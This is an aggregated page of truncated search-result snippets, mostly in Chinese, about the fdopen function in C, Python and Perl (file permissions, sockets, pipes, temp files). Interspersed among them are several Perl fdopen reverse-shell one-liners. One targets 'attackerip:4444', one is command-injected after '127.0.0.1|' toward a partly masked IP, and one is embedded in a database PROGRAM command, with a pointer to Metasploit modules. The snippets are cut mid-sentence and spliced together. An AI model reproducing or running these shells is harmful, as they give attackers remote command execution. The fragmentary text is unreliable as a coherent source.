改进后的python文件创建方法 通过fdopen这个库以及特殊的权限指定，我们可以设置生成文件的访问权限，以下直接展示一个python代码案例： # fdopen-test.py import os...test2.txt' flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL mode = stat.S_IRUSR | stat.S_IWUSR with os.fdopen...我们可以尝试将上述用例中的mode作一个调整，比如添加一个可执行权限变为700： # fdopen-test.py import os import stat file_name = 'test3....又或者，我们需要为用户组里的其他用户添加可访问权限，比如640权限： # fdopen-test.py import os import stat file_name = 'test4.txt' flags...参考链接 fdopen使用方法的问答 os.open()各配置参数解释 版权声明 本文首发链接为：https://www.cnblogs.com/dechinphy/p/fdopen.html 作者ID
glibc库提供了两个转换函数fdopen(3)和fileno(3)，都是中的 FILE *fdopen(int fd, const char *mode); int fileno(...参考fdopen手册： The fdopen() function associates a stream with the existing file descriptor, fd....fdopen()是讲流（FILE对象）与已存在的文件描述符fd进行关联，因此也是未创建新的fd。值得注意的是，FILE指针的模式（mode）必须与文件描述符的模式兼容。...PS：其实fdopen的手册上还有最后一句：The result of applying fdopen() to a shared memory object is undefined....将fdopen用于共享内存对象的结果是未定义的。 总结 以上就是本文关于Linux中文件描述符fd与文件指针FILE*互相转换实例解析的全部内容，希望对大家有所帮助。
"error occurs %s\n", strerror(errno)); } printf("%d\t\t\t %p\t\t\t File /tmp/a.txt\n", afd, fdopen...{ int fd = open("/tmp/b.txt", O_WRONLY); printf("%d\t\t\t %p\t\t\t File /tmp/b.txt\n", fd, fdopen...readFd = open("/tmp/c.txt", O_RDONLY); printf("%d\t\t\t %p\t\t\t File /tmp/c.txt read \n", readFd, fdopen...int pipeFds[2]; pipe(pipeFds); printf("%d\t\t\t %p\t\t\t Pipe's read end\n", pipeFds[0], fdopen...(pipeFds[0], "r")); printf("%d\t\t\t %p\t\t\t Pipe's write end\n", pipeFds[1], fdopen(pipeFds[1],
argp, environ); _exit(127); /* NOTREACHED */ } } /* Parent; assume fdopen...can't fail. */ if (*type == 'r') { iop = fdopen(pdes[0], type); (void)close(pdes...[1]); } else { iop = fdopen(pdes[1], type); (void)close(pdes[0]); } /* Link..._exit(127); } if (*type == 'r') { close(pfd[1]); if ( (fp = fdopen...) == NULL) return(NULL); } else { close(pfd[0]); if ( (fp = fdopen
4，转换函数 //将文件描述符转换为标准I/O函数中使用的FILE结构体指针 FILE * fdopen(int fildes, const char *mode); 成功时返回转换的...先给个fdopen函数的简单示例： #include main() { FILE * fp = fdopen(0, "w+"); fprintf(fp, "%s\n"...(clnt_sock, "r"); writefp = fdopen(clnt_sock, "w"); while (!...error_handling("connect() error"); else puts("Connected ..............."); readfp = fdopen...(sock, "r"); writefp = fdopen(sock, "w"); while (1) { fputs("Input message(Q to
accept\n"); // take a call and buffer it fd = accept(sock, NULL, NULL); fpin = fdopen...command is not yet implemented\r\n"); fclose(fp); } do_404(char *item, int fd) { FILE *fp = fdopen...stat info; return (stat(f, &info) == -1); } do_ls(char *dir, int fd) { FILE *fp; fp = fdopen...return (strcmp(file_type(f), "cgi") == 0); } do_exec(char *prog, int fd) { FILE *fp; fp = fdopen...image/jpg"; else if (strcmp(extension, "jpeg") == 0) content = "image/jpeg"; fpsock = fdopen
stdin and convert into to RPN, send down pipe * then read from other pipe and print to user * Uses fdopen...int num1, num2; char operation[BUFSIZ], message[BUFSIZ], *fgets(); FILE *fpout, *fpin, *fdopen...(todc[1], "w"); fpin = fdopen(fromdc[0], "r"); if (fpout == NULL || fpin == NULL) fatal...\n"); if (sock_fd == -1) oops("accept"); sock_fp = fdopen(sock_fd, "w");...// wirte to the socket as a stream if (sock_fp == NULL) oops("fdopen
mode 'w+b' at 0x1004481e0> temp.name: /tmp/guess_my_name.14932.txt TemporaryFile: temp: ', mode 'w+b' at 0x1004486f0> temp.name: 默认情况下使用w+b权限创建文件，在任何平台中都是如此，并且程序可以对它进行读写。...os.path.exists(temp.name) 尽管文件带有名字，但它仍然会在close后自动删除 $ python tempfile_NamedTemporaryFile.py temp: <open file '<fdopen...temp.name finally: temp.close() $ python tempfile_NamedTemporaryFile_args.py temp: <open file '<fdopen
' 0x02 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen...($c,r);$~->fdopen($c,w);system$_ while;' 0x03 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip...:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;' Ruby 0x01 ruby -rsocket -e'f=TCPSocket.open
clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_addr, &clnt_addr_size); FILE *cin = fdopen...clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_addr, &clnt_addr_size); FILE *cin = fdopen
127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.107.xx.xx:7777");STDIN->fdopen...($c,r);$~->fdopen($c,w);system$_ while;' ?
myjob:’, i)i = i+1sleep(0.1)sys.stdout.flush() ```pythonfrom tempfile import mkstempfrom os import fdopen...resuls outfd,outname=mkstemp() request.session['jobfile']=outname outfile=fdopen
&clin_len)) == -1) { perror("接收错误\n"); continue; } cin = fdopen...%d", id, users[id].username, users[id].age); } return 0; } 访问文件流(stream I/O)的方式进行网络数据传输 1.fdopen...：打开一个标准的IO流 原型：FILE *fdopen(int fd, const char *type); fd是用open函数得到文件描述符，type是打开模式 2.setbuf:定义流 stream
fdopen fdopen 提供了一种便利，将已有的 fd 封装在 FILE* 中，特别当描述符是通过接口传递进来时就尤为有用了。.../fdopen_t abc.txt ${oflag} ${mode} done done 下面是程序输出： $ sh fdopen_t.sh (62061) open type r, type...r OK (62062) open type r, type r+ fdopen failed: Invalid argument (62063) open type r, type w fdopen...r, type a fdopen failed: Invalid argument (62066) open type r, type a+ fdopen failed: Invalid argument...(62067) open type w, type r fdopen failed: Invalid argument (62068) open type w, type r+ fdopen failed
PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen...($c,r);$~->fdopen($c,w);system$_ while;"'; 进阶利用 可以直接使用msf的模块进行攻击 地址如下： https://github.com/Greenwolf
EXIT_FAILURE; } fclose(fp); return EXIT_SUCCESS; } 4.文件流的打开和关闭 常用的open函数--fopen()/freopen()/fdopen...若该流已设置定向类型，则先清除该定向 fdopen():打开一个已有的文件描述符。...; FILE *freopen(const char *restrict pathname, const char *restrict type, FILE *restrict fp); FILE *fdopen
import osimport sysimport refrom multiprocessing import Processdef test_input(fn): sys.stdin = os.fdopen
tempfile.TemporaryFile 内存中创建文件，文件不会存储在磁盘，关闭后即删除（可以使用） 实例 fd, path = tempfile.mkstemp()try: with os.fdopen
strncmp(outfile,"-",1)){ TYPE fo=open_stream_##TYPE(out,fdopen); } else{ TYPE...if (fd==-1) fprintf(stderr, "Failed to create input file (%s)", filename); } FILE *in = fdopen...if (fd==-1) fprintf(stderr, "Failed to create output file (%s)", filename); } FILE *out = fdopen
; FILE *freopen(const char *restrict pathname, const char *restrict type, FILE *restrict fp); FILE *fdopen...All three return: file pointer if OK, NULL on error 三者的区别在于： fopen函数：打开路径名为pathname的一个指定的文件 fdopen...这时必须先调用设备专用函数以获得一个文件描述符，然后在用fdopen使一个标准I/O与该文件描述符相结合。 freopen函数：在指定的流上打开一个指定的文件，如若该流已经打开，则先关闭该流。
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